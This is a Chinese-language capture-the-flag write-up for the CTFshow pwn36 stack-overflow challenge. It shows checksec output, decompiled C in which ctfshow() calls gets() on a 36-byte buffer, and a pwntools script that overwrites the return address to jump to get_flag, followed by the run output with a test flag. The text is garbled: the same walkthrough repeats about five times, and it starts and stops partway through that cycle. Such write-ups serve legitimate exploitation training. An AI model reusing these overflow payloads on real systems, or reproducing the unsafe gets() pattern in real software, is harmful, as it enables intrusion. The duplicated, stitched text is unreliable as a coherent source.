因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}